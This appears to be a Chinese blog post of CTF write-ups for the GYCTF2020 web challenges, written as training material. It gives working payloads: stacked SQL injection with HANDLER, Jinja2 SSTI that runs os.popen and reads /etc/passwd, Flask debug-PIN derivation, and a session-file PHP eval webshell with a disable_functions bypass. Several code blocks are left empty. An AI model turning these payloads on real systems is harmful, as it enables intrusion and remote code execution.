GYCTF2020
[GYCTF2020]Easyphp
看初始页面像是一个审计的题目,那么直接盲猜是www.zip
有源码
伪造admin
index.php
1 |
|
login.php
一个防止sql注入的页面
1 |
|
update.php
1 |
|
lib.php
1 |
|
1 | select 1,2; |
我们参数是可控的,这个时候找链子
1 | __destruct()->__toString()->__call()->login() |
EXP:
1 |
|
1 | function safe($parm){ |
还需要字符逃逸,并且需要再次进行对象的序列化
1 | public function getNewInfo(){ |
如果传参
1 | age=1&nickname=1 |
那我们nickname
可控就可以逃逸了
1 | print(len('";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}')) |
那么就是52个*
和两个load
1 | print("*"*52+'''load'''*2) |
1 | http://e4e592ee-9e7b-4d16-84f7-f7ab60db163e.node5.buuoj.cn:81/update.php |
然后再回去登录即可
[GYCTF2020]Blacklist
堆叠注入(Stacked injections)。其原理就是将原来的语句构造完后加上分号,代表该语句结束,后面在输入的就是一个全新的sql语句了,这个时候使用增删改查毫无限制。
1 | 1' or 1=1;# |
也就是说万能密码是可以的,那么尝试注入
1 | 1' union select 1,2,3# |
普通注入不行了,尝试堆叠注入
1 | 1';show database();# |
再查表
1 | 1;show tables;# |
后面怎么爆列、爆内容呢,一般这个列是不用担心的因为基本这种就是flag
但是依然可以操作
1 | 1';show columns from FlagHere;# |
这里有个关键词相当美丽
HANDLER
例如,HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
1 | 1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE; |
读取第二行
1 | 1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere READ NEXT;HANDLER FlagHere CLOSE; |
读取第三行
1 | 1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere READ NEXT;HANDLER FlagHere READ NEXT;HANDLER FlagHere CLOSE; |
[GYCTF2020]FlaskApp
绕过
一看就是一个SSTI
测试一下
测了一会由于之前一般测试都是用的*
,然后发现这次一直在解密解密nonono
后面换了payload测试成功
1 | {{4+4}} |
绕过好像有点多,用这个姿势去打算了比较万能
1 | {%for c in x.__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{%endif %}{%endfor %} |
搞到源码进行html
解码得到
1 | from flask import Flask,render_template_string |
拿到过滤名单之后我们就知道怎么RCE了
本地调试了一会终于成功了
1 | {% for c in x.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls /').read()}}{% endif %}{% endfor %} |
1 | {% for c in x.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('tac /this_is_the_fl'+'ag.txt').read()}}{% endif %}{% endfor %} |
其实还可以直接列表列出来然后读取文件
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %} |
pin值
1 | {%for c in x.__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read()}}{%endif %}{%endfor %} |
1 | flask.app |
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read()}}{% endif %}{% endfor %} |
1 | 首先访问`/etc/machine-id`,有值就break,没值就访问`/proc/sys/kernel/random/boot_id`,然后不管此时有没有值,再访问`/proc/self/cgroup` 或 `/proc/self/mountinfo` 或 `/proc/self/cpuset` 其中的值拼接到前面的值后面。 |
这里是python3.7
所以使用md5
终于打通了
1 | >>> import os |
[GYCTF2020]Ezsqli
一眼sql
注入
1 | 1&&1=1 |
但是过滤的东西还是比较多的,比如查表的时候
只能用sys.x$schema_flattened_keys
,information
被过滤,mysql.innodb
也无法使用,只能用这个新搜到的
写法和这两个是一样的直接写就行
查列名的话使用无列名注入,但是union
被过滤了
所以可以直接猜flag
是列名来打通
1 | import requests |
这里还有姿势可以打出列名,就是ascii
无列名偏移注入
我多次调试,这个脚本大家可以放心食用
1 | import time |
[GYCTF2020]EasyThinking
tp6
的任意文件读取漏洞
/www.zip
有源码泄露
利用32位的session
可控来上传shell
1 | Request: |
1 | response: |
在搜索页面打入<?php phpinfo()?>
看看成功没有
访问/runtime/session/sess_1111111111111111111111111111.php
成功了
再打入一句话<?php @eval($_POST[1]);?>
链接antsword
1 | url:http://a7a25127-aeba-4bf7-90d1-52c4af263b76.node5.buuoj.cn:81/runtime/session/sess_1111111111111111111111111111.php |
然后发现权限不够不能运行文件
临时文件目录/tmp
中每个用户都有权限写入文件
这里我们写入一个php<7.4
的bypass
的shell
1 |
|
然后包含即可
1 | http://82b25714-2b60-4588-bf7a-fc55e17d3f33.node5.buuoj.cn:81/runtime/session/sess_1111111111111111111111111111.php |
[GYCTF2020]Ez_Express
express
的SSTI
或者污染
[GYCTF2020]Node Game
原型链污染,但是我这的污染水平这两道题都做不了
[GYCTF2020]NewsWebsite
不懂欠着
- Title: GYCTF2020
- Author: baozongwi
- Created at : 2024-08-18 13:01:34
- Updated at : 2024-09-14 15:44:19
- Link: https://baozongwi.xyz/2024/08/18/GYCTF2020/
- License: This work is licensed under CC BY-NC-SA 4.0.